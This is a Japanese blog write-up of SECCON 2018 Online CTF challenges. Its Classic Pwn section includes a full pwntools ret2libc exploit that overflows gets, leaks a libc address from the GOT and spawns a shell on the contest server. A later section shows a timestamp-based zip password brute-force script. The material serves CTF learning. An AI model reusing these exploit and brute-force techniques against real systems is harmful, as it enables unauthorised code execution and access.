fr33f0r4ll

自分用雑記

SECCON 2018 Online CTF Writeup

SECCON 2018 Online CTF writeup

解けたのはClassic Pwn, Runme, Unzipの3問。
何故かSpecial Instructionが解けてるのに正解が出ず...
そのままずるずると終わりました。

Classic Pwn

Pwn

まさに古典的Pwnといった感じの問題、classicという実行ファイルとlibcが降ってくる。

プログラムの動作は、getsで入力を受け取ってローカルバッファに格納して終了するというだけ。

4006a9:  55                      push   rbp
4006aa: 48 89 e5                mov    rbp,rsp
4006ad: 48 83 ec 40             sub    rsp,0x40
4006b1: bf 74 07 40 00          mov    edi,0x400774
4006b6: e8 65 fe ff ff          call   400520 <puts@plt>
4006bb: bf 8e 07 40 00          mov    edi,0x40078e
4006c0: b8 00 00 00 00          mov    eax,0x0
4006c5: e8 76 fe ff ff          call   400540 <printf@plt>
4006ca: 48 8d 45 c0             lea    rax,[rbp-0x40]
4006ce: 48 89 c7                mov    rdi,rax
4006d1: e8 8a fe ff ff          call   400560 <gets@plt>
4006d6: bf 9f 07 40 00          mov    edi,0x40079f
4006db: e8 40 fe ff ff          call   400520 <puts@plt>
4006e0: b8 00 00 00 00          mov    eax,0x0
4006e5: c9                      leave  
4006e6: c3                      ret    

getsは際限なく入力を受け取るのでオーバーフローする。
Stack Protectionがないのでmainのあとのリターンアドレスを書き換えることができ、制御を奪うことができる。
ただしx64なのでスタックに引数は積めない、ROPが必要になる。

libcもあるので、libcのベースアドレスをリークさせてsystemを呼び出すことにした。

putsにGOT領域にある関数のアドレスを引数として渡すことで、その関数のアドレスを出力させる。
関数のアドレスからその関数のオフセットを引くことで、libcのベースアドレスを計算できる。
そこで、libcのベースアドレスからsystemとlibc内の/bin/shのアドレスを取得する。
オフセットはreadelfstringsで取得できる。
それかpwntoolsELFとかを使っても取得できるはず。

$ readelf --sym libc # putsのオフセットは0x6f690
...
   404: 000000000006f690   456 FUNC    WEAK   DEFAULT   13 puts@@GLIBC_2.2.5
...
$ strings -t x libc | grep /bin/sh # /bin/shのオフセットは0x18cd57
 18cd57 /bin/sh

最後にsystemを呼び出すため、もう一度プログラムの制御を奪う必要がある。 main関数をもう一度呼び出すことで再び制御を奪えるようにした。

まとめると

  1. BOFputsでGOT領域にある関数のアドレスを出力し、mainの先頭に戻る
  2. 出力されたアドレスからsystem/bin/shのアドレスを計算
  3. もう一度BOFをして、今度は計算されたsystem/bin/shを引数にして実行する
  4. シェルゲット

という感じ。

スクリプト

#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *

context.update(arch='amd64')
exe = './classic'
libc = './libc'

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:
    return remote('classic.pwn.seccon.jp', 17354)
    else:
        return process([exe] + argv, *a, **kw)

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

io = start()

# libcでのそれぞれの関数へのオフセット
system_offset = 0x0000000000045390
puts_offset = 0x000000000006f690
binsh_offset = 0x18cd57

elf = ELF(exe)
# rop gadget
pop_rdi = 0x00400753  # pop rdi; ret

main = 0x004006a9 # 2回脆弱性を攻撃するためにmain関数のアドレス、ret2vul

# オーバーフローするまでのパディング
payload = 'A' * 0x40  # padding
# push rbpでスタックに積まれたrbpを上書きする部分
payload += 'B' * 8  # prev_rbp

# puts(puts@got)でGOT領域に格納されたputsのアドレスを出力し、main関数をもう一度実行する
payload += p64(pop_rdi)          # rdiに引数としてputs@gotを設定
payload += p64(elf.got['puts'])  # popされる
payload += p64(elf.plt['puts'])  # puts(puts@got)、putsのアドレスを出力
payload += p64(main)             # mainをもう一度実行する

io.clean()             # 余計な出力を削除
io.sendline(payload)
io.recvuntil("Have a nice pwn!!\n") # 余計な部分まで読み出して削除

# putsのアドレスからlibcのベースアドレスを計算
puts_addr = io.recvline()[0:6]       # GOT領域のputsのアドレス、先頭2バイトが0なので6バイトまで
puts_addr = u64(puts_addr + '\0\0')  # 足りない2バイトの0を補って数値に変換
libc_base = puts_addr - puts_offset  # putsのオフセットを引くことでlibcのベースアドレスが計算できる

# libcのベースアドレスにオフセットを足して、それぞれのアドレスを計算
system_addr = libc_base + system_offset
binsh_addr = libc_base + binsh_offset

# デバッグのためログとして出力、pwndbgならgotコマンドでgotのアドレスが表示できるよ
log.info("puts @ got: {}".format(hex(puts_addr)))
log.info('libc base: {}'.format(hex(libc_base)))

# mainがもう一度実行されているので、こんどはsystemを呼び出すようにオーバーフローさせる
payload = 'A' * 0x40  # padding
payload += 'B' * 8  # prev_rbp

# system("/bin/sh")
payload += p64(pop_rdi)
payload += p64(binsh_addr)  # /bin/shをrdiに設定し、引数とする
payload += p64(system_addr) # やったぜ

io.sendline(payload)

io.interactive()

Runme

WinのPEが降ってくる。
中身はコマンドライン引数を一文字ずつ比較する関数を次々と呼び出しているだけなので、比較している文字を順番通りに並べればフラグになる。

Unzip

解凍するとzipファイルと解凍に使ったスクリプトが出てくる。

echo 'SECCON{'`cat key`'}' > flag.txt
zip -e --password=`perl -e "print time()"` flag.zip flag.txt

perl -e "print time()"がパスワードらしい。 timeUNIX時間を返すのと、flag.zipの作成日からおおよそ"1540566600"の前後だということが分かった。 あとは前後60秒くらいをブルートフォースすればいい。

手動でやるのは面倒だったのでPythonにやらせた。 面倒なことは

import zipfile

unixtime = 1540566600


zipf = zipfile.ZipFile('./flag.zip')
for i in range(70):
    try:
        zipf.extractall(pwd=str(unixtime+i))
    except RuntimeError as e:
        continue

解凍するとflagが出てくる。

Special Instruction

マイナーなアーキテクチャのバイナリが降ってくる。
マルチアーキテクチャ対応のreadelfとかだとMoxieというアーキテクチャだと教えてくれる。
大熱血本のHPから実行環境付きのOVAを取得することもできる。

しかし、このバイナリはset_random_seedget_random_valueでオリジナルの命令を使うようになっているためそのままでは実行できない。

バイナリの挙動は、Cのソースコードにするとこんな感じである。

#include <stdio.h>

unsigned int seed = 0;
char flag[] = {0x6d, 0x72, 0xc3, 0xe2, 0xcf, 0x95, 0x54, 0x9d,
           0xb6, 0xac, 0x03, 0x84, 0xc3, 0xc2, 0x35, 0x93,
           0xc3, 0xd7, 0x7c, 0xe2, 0xdd, 0xd4, 0xac, 0x5e,
           0x99, 0xc9, 0xa5, 0x34, 0xde, 0x06, 0x4e, 0x00};
char randval[] = {0x3d, 0x05, 0xdc, 0x31, 0xd1, 0x8a, 0xaf, 0x29,
          0x96, 0xfa, 0xcb, 0x1b, 0x01, 0xec, 0xe2, 0xf7,
          0x15, 0x70, 0x6c, 0xf4, 0x7e, 0xa1, 0x9e, 0x0e,
          0x01, 0xf9, 0xc2, 0x4c, 0xba, 0xa0, 0xa1, 0x08,
          0x70, 0x24, 0x85, 0x8a, 0x4d, 0x2d, 0x3c, 0x02,
          0xfc, 0x6f, 0x20, 0xf0, 0xc7, 0xad, 0x2f, 0x97,
          0x2b, 0xcc, 0xa3, 0x34, 0x23, 0x53, 0xc9, 0xb7,
          0x0c, 0x10, 0x6c, 0x0e, 0xfa, 0xf9, 0xa1, 0x9a,};

void set_random_seed(unsigned int num) {
  seed = num;
}

unsigned int get_random_value() {
  seed ^= seed << 13;
  seed ^= seed >> 17;
  seed ^= seed << 5;
    
  return seed;
}

char* decode(char* flag, char* randval) {
  if (flag[0] != 0) {
    char* randval_ptr = randval; // r8
    char* flag_ptr = flag; // r7

    while(1) {
      unsigned char r6 = *randval_ptr;
      r6 ^= get_random_value();
      r6 ^= *flag_ptr;
      *flag_ptr = r6;
      
      flag_ptr++;
      randval_ptr++;
      
      if (*flag_ptr == 0) {
        break;
      }
    }
  }

  return flag;
}

int main(int argc, char** argv){
  // ヒントの出力

  set_random_seed(0x92d68ca2);

  printf("%s\n", decode(flag, randval));

  return 0;
}

decodemainは、クロスコンパイルした結果がバイナリとほぼ一致していたので合っているはず。
最初の方に出力命令があり、以下のヒントを出力するようになっていた。

SETRSEED: (Opcode:0x16)
    RegA -> SEED
GETRAND: (Opcode:0x17)
    xorshift32(SEED) -> SEED
    SEED -> RegA

要はオリジナルの命令の挙動を説明しているんだと思う。
上記のCコードではこれも関数として補っている。
xorshift32は疑似乱数生成アルゴリズムの一種で、高速で実装が簡単な割りに周期がそこそこ長くて優秀らしい。
wikiに載っている実装をそのまま持ってきた(uint32_tはクロスコンパイル環境で使えなかったのでunsigned intに変えている)。

しかし、何故かフラグとして正常にデコードできなかった。
xorshift32はあちこちにあるサンプル実装そのままなのでおそらく合ってる、set_random_seedはまずこれ以外ない。
となるとget_random_valueが違うということになるけど、ヒントそのままの挙動のはず。
というわけで投げた。

人のwriteup(https://hikalium.hatenablog.jp/entry/2018/10/28/164812)を見てみた。
パラメータは適当らしい、ざけんな。
xorshift32の正解のパラメータは13, 17, 15だそうなので試したら解けた。

CTFの問題にはどんな場合でもブルートフォース要素を含めるなとは言わないが、アルゴリズムの名前だけを知らせてそのパラメータを総当たりさせることが本当にその問題を面白くするのかどうか考えてからそうして欲しい。 ヒントにたった3つの整数を付け足すだけで問題の難易度を下げることなく参加者のストレスを低減できる。

まあ論文読めば解けるのでこれは論文を読めという天啓かもしれない。

感想

Special Instructionで詰まって投げてしまってこの4つ以外はほとんど触れていない。
限られた問題だけで感想を言うと、正直微妙だった。
どうでもいいような問題ばかりであまり学べることがなく、参加してもしなくても同じという印象を抱いてしまった。
まあ偶然ハズレを引いたんだと気持ちを入れ替えて、他の問題のWriteup見て反省しよう。
大熱血本も読まないとなあ。